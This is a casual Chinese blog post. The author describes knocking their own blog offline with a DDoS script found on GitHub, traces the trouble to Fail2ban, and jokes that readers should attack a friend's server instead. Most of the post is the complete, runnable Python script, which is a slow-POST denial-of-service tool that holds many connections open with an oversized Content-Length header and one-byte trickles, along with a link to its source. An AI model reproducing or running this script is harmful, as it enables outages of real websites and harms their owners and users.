最近闲着没事去GitHub找了个贼简单的Py DDOS脚本,我作死把最大连接数(攻击次数)改成了250,然后网站选择的是我的博客,结果我电脑和我手机全都打不开博客了() 不知道为啥其他的网站都打不开了,还好宝塔打得开,我就翻来翻去,最后找到了“罪魁祸首”——Fail2ban防爆破

虽然但是黑名单里没我ip,但是我还是把这个服务关了,结果就好了……

不知道为啥定位到东莞的屑心知()

重新启动这个服务之后,又访问不上网站了……

最后把这玩意卸了再重装一遍就没事了

所以霉逝不要打自己服务器,最好打好基友的(doge)

下面放上GitHub的那个DDOS脚本:

#ddos攻击脚本 python3.6
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
#最大连接数(修改攻击次数),还有端口
MAX_CONN=10
PORT=80
#选择攻击的网站域名
#HOST="www.baidu.com"
HOST="网站域名"
PAGE="/index.php"
#--------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            print ("Could not connect to server or send error:%s"%ex)
            time.sleep(10)
#end def

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()

GitHub原仓库在这:https://github.com/lovesick-LS/ddos_python

哈哈哈真水呢